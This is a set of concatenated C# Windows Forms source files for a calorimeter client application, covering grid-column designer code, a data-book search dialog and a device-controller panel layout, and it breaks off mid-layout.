this.pgUserNameColumn.OptionsColumn.ReadOnly = true;
this.pgUserNameColumn.OptionsColumn.TabStop = false;
this.pgUserNameColumn.OptionsFilter.AllowAutoFilter = false;
this.pgUserNameColumn.OptionsFilter.AllowFilter = false;
this.pgUserNameColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.pgUserNameColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.pgUserNameColumn.Visible = true;
this.pgUserNameColumn.VisibleIndex = 0;
this.pgUserNameColumn.Width = 96;
//
// pgDateTimeColumn
//
this.pgDateTimeColumn.Caption = "Date Time";
this.pgDateTimeColumn.FieldName = "REGTIME";
this.pgDateTimeColumn.Name = "pgDateTimeColumn";
this.pgDateTimeColumn.OptionsColumn.AllowEdit = false;
this.pgDateTimeColumn.OptionsColumn.AllowFocus = false;
this.pgDateTimeColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pgDateTimeColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pgDateTimeColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pgDateTimeColumn.OptionsColumn.AllowMove = false;
this.pgDateTimeColumn.OptionsColumn.AllowShowHide = false;
this.pgDateTimeColumn.OptionsColumn.AllowSize = false;
this.pgDateTimeColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pgDateTimeColumn.OptionsColumn.FixedWidth = true;
this.pgDateTimeColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pgDateTimeColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pgDateTimeColumn.OptionsColumn.ReadOnly = true;
this.pgDateTimeColumn.OptionsFilter.AllowAutoFilter = false;
this.pgDateTimeColumn.OptionsFilter.AllowFilter = false;
this.pgDateTimeColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.pgDateTimeColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.pgDateTimeColumn.Visible = true;
this.pgDateTimeColumn.VisibleIndex = 1;
this.pgDateTimeColumn.Width = 127;
//
// pgMemoColumn
//
this.pgMemoColumn.Caption = "Memo";
this.pgMemoColumn.FieldName = "MEMO";
this.pgMemoColumn.Name = "pgMemoColumn";
this.pgMemoColumn.OptionsColumn.AllowEdit = false;
this.pgMemoColumn.OptionsColumn.AllowFocus = false;
this.pgMemoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pgMemoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pgMemoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pgMemoColumn.OptionsColumn.AllowMove = false;
this.pgMemoColumn.OptionsColumn.AllowShowHide = false;
this.pgMemoColumn.OptionsColumn.AllowSize = false;
this.pgMemoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pgMemoColumn.OptionsColumn.FixedWidth = true;
this.pgMemoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pgMemoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pgMemoColumn.OptionsColumn.ReadOnly = true;
this.pgMemoColumn.OptionsFilter.AllowAutoFilter = false;
this.pgMemoColumn.OptionsFilter.AllowFilter = false;
this.pgMemoColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.pgMemoColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.pgMemoColumn.Visible = true;
this.pgMemoColumn.VisibleIndex = 2;
this.pgMemoColumn.Width = 140;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.okButton.Image = ((System.Drawing.Image)(resources.GetObject("okButton.Image")));
this.okButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.okButton.Location = new System.Drawing.Point(196, 366);
this.okButton.Name = "okButton";
this.okButton.Padding = new System.Windows.Forms.Padding(8, 0, 0, 0);
this.okButton.Size = new System.Drawing.Size(100, 32);
this.okButton.TabIndex = 2;
this.okButton.Text = "Ok";
this.okButton.UseVisualStyleBackColor = true;
//
// cancelButton
//
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cancelButton.Image = ((System.Drawing.Image)(resources.GetObject("cancelButton.Image")));
this.cancelButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.cancelButton.Location = new System.Drawing.Point(298, 366);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Padding = new System.Windows.Forms.Padding(8, 0, 0, 0);
this.cancelButton.Size = new System.Drawing.Size(100, 32);
this.cancelButton.TabIndex = 3;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// schDeleteButton
//
this.schDeleteButton.Image = ((System.Drawing.Image)(resources.GetObject("schDeleteButton.Image")));
this.schDeleteButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.schDeleteButton.Location = new System.Drawing.Point(12, 366);
this.schDeleteButton.Name = "schDeleteButton";
this.schDeleteButton.Padding = new System.Windows.Forms.Padding(8, 0, 0, 0);
this.schDeleteButton.Size = new System.Drawing.Size(100, 32);
this.schDeleteButton.TabIndex = 1;
this.schDeleteButton.TabStop = false;
this.schDeleteButton.Text = "Delete";
this.schDeleteButton.UseVisualStyleBackColor = true;
this.schDeleteButton.Click += new System.EventHandler(this.schDeleteButton_Click);
//
// FormOpenAllParam
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(412, 407);
this.KeyPreview = true;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FormOpenAllParam";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Open All Parameters";
this.Load += new System.EventHandler(this.FormOpenAllParam_Load);
this.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.FormOpenAllParam_KeyPress);
this.bgPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.paramGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.paramGridView)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private DevExpress.XtraGrid.GridControl paramGrid;
private DevExpress.XtraGrid.Views.Grid.GridView paramGridView;
private DevExpress.XtraGrid.Columns.GridColumn pgUserNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn pgDateTimeColumn;
private DevExpress.XtraGrid.Columns.GridColumn pgMemoColumn;
private System.Windows.Forms.Button okButton;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button schDeleteButton;
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraGrid.Views.Base;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class FormOpenDataBook : UlFormEng
{
public FormOpenDataBook(int handle)
{
InitializeComponent();
this.handle = handle;
Initialize();
}
private int handle;
private DataBookDataSet dataSet;
public Int64 RecNo { get; private set; }
private void Initialize()
{
RecNo = -1;
dataSet = Resource.ViewDB.DataBookSet;
}
private void FormOpenDataBook_Load(object sender, EventArgs e)
{
dataBookGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
dataBookGridView.OptionsView.EnableAppearanceEvenRow = true;
dbStateColumn.DisplayFormat.FormatType = FormatType.Custom;
dbStateColumn.DisplayFormat.Format = new DataBookStateTypeFmt();
dbTestLineColumn.DisplayFormat.FormatType = FormatType.Custom;
dbTestLineColumn.DisplayFormat.Format = new DataBookLineTypeFmt();
resetButton.PerformClick();
dataBookGrid.DataSource = dataSet.DataSet.Tables[0];
}
private void FormOpenDataBook_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Escape)
{
cancelButton.PerformClick();
}
}
private void searchButton_Click(object sender, EventArgs e)
{
SetCondition();
Resource.ViewDB.Lock();
try
{
dataSet.Select();
}
finally
{
Resource.ViewDB.Unlock();
}
}
private void resetButton_Click(object sender, EventArgs e)
{
ResetCondition();
searchButton.PerformClick();
}
private void okButton_Click(object sender, EventArgs e)
{
if (dataBookGridView.FocusedRowHandle < 0) return;
DataRow row = dataBookGridView.GetDataRow(dataBookGridView.FocusedRowHandle);
RecNo = Convert.ToInt64(row["pk_recno"]);
Close();
}
private void cancelButton_Click(object sender, EventArgs e)
{
RecNo = -1;
Close();
}
private void fromDateEdit_ValueChanged(object sender, EventArgs e)
{
if (fromDateEdit.Value > toDateEdit.Value)
{
toDateEdit.Value = fromDateEdit.Value;
}
}
private void toDateEdit_ValueChanged(object sender, EventArgs e)
{
if (toDateEdit.Value < fromDateEdit.Value)
{
fromDateEdit.Value = toDateEdit.Value;
}
}
private void dataBookGridView_CustomDrawCell(object sender, RowCellCustomDrawEventArgs e)
{
if (e.Column.FieldName == "State")
{
switch ((ETestState)e.CellValue)
{
case ETestState.Stopped:
e.Appearance.ForeColor = Color.Red;
break;
case ETestState.Testing:
e.Appearance.ForeColor = Color.Black;
break;
case ETestState.Done:
e.Appearance.ForeColor = Color.Blue;
break;
}
e.Handled = true;
}
}
private void dataBookGrid_DoubleClick(object sender, EventArgs e)
{
//if (dataBookGridView.FocusedRowHandle < 0) return;
//okButton.PerformClick();
}
private void dataBookGridView_FocusedRowChanged(object sender, FocusedRowChangedEventArgs e)
{
//if (e.FocusedRowHandle < 0)
//{
// RecNo = -1;
// return;
//}
//Resource.Db.Lock();
//try
//{
// DataRow row = dataBookGridView.GetDataRow(e.FocusedRowHandle);
// RecNo = Convert.ToInt64(row["pk_recno"]);
//}
//finally
//{
// Resource.Db.Unlock();
//}
}
private void SetCondition()
{
dataSet.Condition.TimeUsed = dateCheck.Checked;
dataSet.Condition.FromTime = fromDateEdit.Value;
dataSet.Condition.ToTime = toDateEdit.Value;
dataSet.Condition.Line = lineCombo.SelectedIndex;
dataSet.Condition.State = stateCombo.SelectedIndex;
}
private void ResetCondition()
{
dateCheck.Checked = true;
fromDateEdit.Value = DateTime.Now.AddDays(-30);
toDateEdit.Value = DateTime.Now;
lineCombo.SelectedIndex = 0;
stateCombo.SelectedIndex = 0;
}
}
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlDeviceController
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.view1Panel = new Ulee.Controls.UlPanel();
this.view16Panel = new Ulee.Controls.UlPanel();
this.view15Panel = new Ulee.Controls.UlPanel();
this.view14Panel = new Ulee.Controls.UlPanel();
this.view13Panel = new Ulee.Controls.UlPanel();
this.view12Panel = new Ulee.Controls.UlPanel();
this.view11Panel = new Ulee.Controls.UlPanel();
this.view10Panel = new Ulee.Controls.UlPanel();
this.view9Panel = new Ulee.Controls.UlPanel();
this.view24Panel = new Ulee.Controls.UlPanel();
this.view23Panel = new Ulee.Controls.UlPanel();
this.view22Panel = new Ulee.Controls.UlPanel();
this.view21Panel = new Ulee.Controls.UlPanel();
this.view19Panel = new Ulee.Controls.UlPanel();
this.view18Panel = new Ulee.Controls.UlPanel();
this.view17Panel = new Ulee.Controls.UlPanel();
this.view20Panel = new Ulee.Controls.UlPanel();
this.view8Panel = new Ulee.Controls.UlPanel();
this.view7Panel = new Ulee.Controls.UlPanel();
this.view6Panel = new Ulee.Controls.UlPanel();
this.view5Panel = new Ulee.Controls.UlPanel();
this.view4Panel = new Ulee.Controls.UlPanel();
this.view3Panel = new Ulee.Controls.UlPanel();
this.view2Panel = new Ulee.Controls.UlPanel();
this.view31Panel = new Ulee.Controls.UlPanel();
this.view33Panel = new Ulee.Controls.UlPanel();
this.view32Panel = new Ulee.Controls.UlPanel();
this.view30Panel = new Ulee.Controls.UlPanel();
this.view29Panel = new Ulee.Controls.UlPanel();
this.view28Panel = new Ulee.Controls.UlPanel();
this.view27Panel = new Ulee.Controls.UlPanel();
this.view26Panel = new Ulee.Controls.UlPanel();
this.view25Panel = new Ulee.Controls.UlPanel();
this.bgPanel.SuspendLayout();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.view31Panel);
this.bgPanel.Controls.Add(this.view33Panel);
this.bgPanel.Controls.Add(this.view32Panel);
this.bgPanel.Controls.Add(this.view30Panel);
this.bgPanel.Controls.Add(this.view29Panel);
this.bgPanel.Controls.Add(this.view28Panel);
this.bgPanel.Controls.Add(this.view27Panel);
this.bgPanel.Controls.Add(this.view26Panel);
this.bgPanel.Controls.Add(this.view25Panel);
this.bgPanel.Controls.Add(this.view20Panel);
this.bgPanel.Controls.Add(this.view24Panel);
this.bgPanel.Controls.Add(this.view23Panel);
this.bgPanel.Controls.Add(this.view22Panel);
this.bgPanel.Controls.Add(this.view21Panel);
this.bgPanel.Controls.Add(this.view19Panel);
this.bgPanel.Controls.Add(this.view18Panel);
this.bgPanel.Controls.Add(this.view17Panel);
this.bgPanel.Controls.Add(this.view16Panel);
this.bgPanel.Controls.Add(this.view15Panel);
this.bgPanel.Controls.Add(this.view14Panel);
this.bgPanel.Controls.Add(this.view13Panel);
this.bgPanel.Controls.Add(this.view12Panel);
this.bgPanel.Controls.Add(this.view11Panel);
this.bgPanel.Controls.Add(this.view10Panel);
this.bgPanel.Controls.Add(this.view9Panel);
this.bgPanel.Controls.Add(this.view8Panel);
this.bgPanel.Controls.Add(this.view7Panel);
this.bgPanel.Controls.Add(this.view6Panel);
this.bgPanel.Controls.Add(this.view5Panel);
this.bgPanel.Controls.Add(this.view4Panel);
this.bgPanel.Controls.Add(this.view3Panel);
this.bgPanel.Controls.Add(this.view2Panel);
this.bgPanel.Controls.Add(this.view1Panel);
this.bgPanel.Size = new System.Drawing.Size(1816, 915);
//
// view1Panel
//
this.view1Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view1Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view1Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view1Panel.InnerColor2 = System.Drawing.Color.White;
this.view1Panel.Location = new System.Drawing.Point(0, 0);
this.view1Panel.Name = "view1Panel";
this.view1Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view1Panel.OuterColor2 = System.Drawing.Color.White;
this.view1Panel.Size = new System.Drawing.Size(160, 300);
this.view1Panel.Spacing = 0;
this.view1Panel.TabIndex = 1;
this.view1Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view1Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view16Panel
//
this.view16Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view16Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view16Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view16Panel.InnerColor2 = System.Drawing.Color.White;
this.view16Panel.Location = new System.Drawing.Point(663, 307);
this.view16Panel.Name = "view16Panel";
this.view16Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view16Panel.OuterColor2 = System.Drawing.Color.White;
this.view16Panel.Size = new System.Drawing.Size(160, 300);
this.view16Panel.Spacing = 0;
this.view16Panel.TabIndex = 16;
this.view16Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view16Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view15Panel
//
this.view15Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view15Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view15Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view15Panel.InnerColor2 = System.Drawing.Color.White;
this.view15Panel.Location = new System.Drawing.Point(498, 307);
this.view15Panel.Name = "view15Panel";
this.view15Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view15Panel.OuterColor2 = System.Drawing.Color.White;
this.view15Panel.Size = new System.Drawing.Size(160, 300);
this.view15Panel.Spacing = 0;
this.view15Panel.TabIndex = 15;
this.view15Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view15Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view14Panel
//
this.view14Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view14Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view14Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view14Panel.InnerColor2 = System.Drawing.Color.White;
this.view14Panel.Location = new System.Drawing.Point(332, 307);
this.view14Panel.Name = "view14Panel";
this.view14Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view14Panel.OuterColor2 = System.Drawing.Color.White;
this.view14Panel.Size = new System.Drawing.Size(160, 300);
this.view14Panel.Spacing = 0;
this.view14Panel.TabIndex = 14;
this.view14Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view14Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view13Panel
//
this.view13Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view13Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view13Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view13Panel.InnerColor2 = System.Drawing.Color.White;
this.view13Panel.Location = new System.Drawing.Point(166, 307);
this.view13Panel.Name = "view13Panel";
this.view13Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view13Panel.OuterColor2 = System.Drawing.Color.White;
this.view13Panel.Size = new System.Drawing.Size(160, 300);
this.view13Panel.Spacing = 0;
this.view13Panel.TabIndex = 13;
this.view13Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view13Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view12Panel
//
this.view12Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view12Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view12Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view12Panel.InnerColor2 = System.Drawing.Color.White;
this.view12Panel.Location = new System.Drawing.Point(0, 307);
this.view12Panel.Name = "view12Panel";
this.view12Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view12Panel.OuterColor2 = System.Drawing.Color.White;
this.view12Panel.Size = new System.Drawing.Size(160, 300);
this.view12Panel.Spacing = 0;
this.view12Panel.TabIndex = 12;
this.view12Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view12Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view11Panel
//
this.view11Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view11Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view11Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view11Panel.InnerColor2 = System.Drawing.Color.White;
this.view11Panel.Location = new System.Drawing.Point(1656, 0);
this.view11Panel.Name = "view11Panel";
this.view11Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view11Panel.OuterColor2 = System.Drawing.Color.White;
this.view11Panel.Size = new System.Drawing.Size(160, 300);
this.view11Panel.Spacing = 0;
this.view11Panel.TabIndex = 11;
this.view11Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view11Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view10Panel
//
this.view10Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view10Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view10Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view10Panel.InnerColor2 = System.Drawing.Color.White;
this.view10Panel.Location = new System.Drawing.Point(1490, 0);
this.view10Panel.Name = "view10Panel";
this.view10Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view10Panel.OuterColor2 = System.Drawing.Color.White;
this.view10Panel.Size = new System.Drawing.Size(160, 300);
this.view10Panel.Spacing = 0;
this.view10Panel.TabIndex = 10;
this.view10Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view10Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view9Panel
//
this.view9Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view9Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view9Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view9Panel.InnerColor2 = System.Drawing.Color.White;
this.view9Panel.Location = new System.Drawing.Point(1324, 0);
this.view9Panel.Name = "view9Panel";
this.view9Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view9Panel.OuterColor2 = System.Drawing.Color.White;
this.view9Panel.Size = new System.Drawing.Size(160, 300);
this.view9Panel.Spacing = 0;
this.view9Panel.TabIndex = 9;
this.view9Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view9Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view24Panel
//
this.view24Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view24Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view24Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view24Panel.InnerColor2 = System.Drawing.Color.White;
this.view24Panel.Location = new System.Drawing.Point(166, 615);
this.view24Panel.Name = "view24Panel";
this.view24Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view24Panel.OuterColor2 = System.Drawing.Color.White;
this.view24Panel.Size = new System.Drawing.Size(160, 300);
this.view24Panel.Spacing = 0;
this.view24Panel.TabIndex = 24;
this.view24Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view24Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view23Panel
//
this.view23Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view23Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view23Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view23Panel.InnerColor2 = System.Drawing.Color.White;
this.view23Panel.Location = new System.Drawing.Point(0, 615);
this.view23Panel.Name = "view23Panel";
this.view23Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view23Panel.OuterColor2 = System.Drawing.Color.White;
this.view23Panel.Size = new System.Drawing.Size(160, 300);
this.view23Panel.Spacing = 0;
this.view23Panel.TabIndex = 23;
this.view23Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view23Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view22Panel
//
this.view22Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view22Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view22Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view22Panel.InnerColor2 = System.Drawing.Color.White;
this.view22Panel.Location = new System.Drawing.Point(1656, 307);
this.view22Panel.Name = "view22Panel";
this.view22Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view22Panel.OuterColor2 = System.Drawing.Color.White;
this.view22Panel.Size = new System.Drawing.Size(160, 300);
this.view22Panel.Spacing = 0;
this.view22Panel.TabIndex = 22;
this.view22Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view22Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view21Panel
//
this.view21Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view21Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view21Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view21Panel.InnerColor2 = System.Drawing.Color.White;
this.view21Panel.Location = new System.Drawing.Point(1490, 307);
this.view21Panel.Name = "view21Panel";
this.view21Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view21Panel.OuterColor2 = System.Drawing.Color.White;
this.view21Panel.Size = new System.Drawing.Size(160, 300);
this.view21Panel.Spacing = 0;
this.view21Panel.TabIndex = 21;
this.view21Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view21Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view19Panel
//
this.view19Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view19Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view19Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view19Panel.InnerColor2 = System.Drawing.Color.White;
this.view19Panel.Location = new System.Drawing.Point(1158, 307);
this.view19Panel.Name = "view19Panel";
this.view19Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view19Panel.OuterColor2 = System.Drawing.Color.White;
this.view19Panel.Size = new System.Drawing.Size(160, 300);
this.view19Panel.Spacing = 0;
this.view19Panel.TabIndex = 19;
this.view19Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view19Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view18Panel
//
this.view18Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view18Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view18Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view18Panel.InnerColor2 = System.Drawing.Color.White;
this.view18Panel.Location = new System.Drawing.Point(993, 307);
this.view18Panel.Name = "view18Panel";
this.view18Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view18Panel.OuterColor2 = System.Drawing.Color.White;
this.view18Panel.Size = new System.Drawing.Size(160, 300);
this.view18Panel.Spacing = 0;
this.view18Panel.TabIndex = 18;
this.view18Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view18Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view17Panel
//
this.view17Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view17Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view17Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view17Panel.InnerColor2 = System.Drawing.Color.White;
this.view17Panel.Location = new System.Drawing.Point(828, 307);
this.view17Panel.Name = "view17Panel";
this.view17Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view17Panel.OuterColor2 = System.Drawing.Color.White;
this.view17Panel.Size = new System.Drawing.Size(160, 300);
this.view17Panel.Spacing = 0;
this.view17Panel.TabIndex = 17;
this.view17Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view17Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view20Panel
//
